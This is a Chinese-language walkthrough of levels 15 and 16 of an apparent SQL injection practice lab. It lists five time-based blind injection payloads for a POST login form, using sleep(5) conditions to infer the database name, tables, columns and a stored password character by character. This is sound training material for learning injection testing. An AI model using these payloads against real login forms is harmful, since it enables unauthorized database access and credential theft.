第十五关
进入第十五关,我们抓包发现为POST方式注入。首先判断参数类型,当我们进行多种参数类型注入时,我们发现页面没有显示报错语句,只能根据页面变化进行猜解,此时可以猜测需要用到盲注的方法,那需要用哪种盲注呢?只能一个个试啦,当我们进行布尔盲注没反应时,我们再用到时间盲注,页面明显出现延迟时,说明延迟注入是正确的方式。
开始进行延迟注入
1.判断数据库长度
uname=admin' and if(length(database())=8,sleep(5),1)#&passwd=1&submit=Submit
这里我们判断数据库长度是8位时出现延迟,说明数据库就为8位
2.判断数据库名
uname=admin' and if(ascii(substr(database(),1,1))=115,sleep(5),1)#&passwd=1&submit=Submit
这里我只截取数据库的第一个字符,截取其他的字符对于手工太麻烦了
3.判断表名
uname=admin' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>65,sleep(5),1)#&passwd=1&submit=Submit
这里我同样只截取第一个表的第一个字符串啦
4.判断字段名
uname=admin' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>65,sleep(5),1)#&passwd=1&submit=Submit
5.判断数据内容
uname=admin' and if(ascii(substr((select password from users limit 0,1),1,1))>65,sleep(5),1)#&passwd=1&submit=Submit
总体来说,手工注入是真的挺麻烦的,大家如果碰到盲注的话,可以用sqlmap注入,上面注入代码不完整,大家能够理解就好了。
第十六关
第十六关跟第十五关是一样的,只需要把【'】换成【")】,注入方式还是时间盲注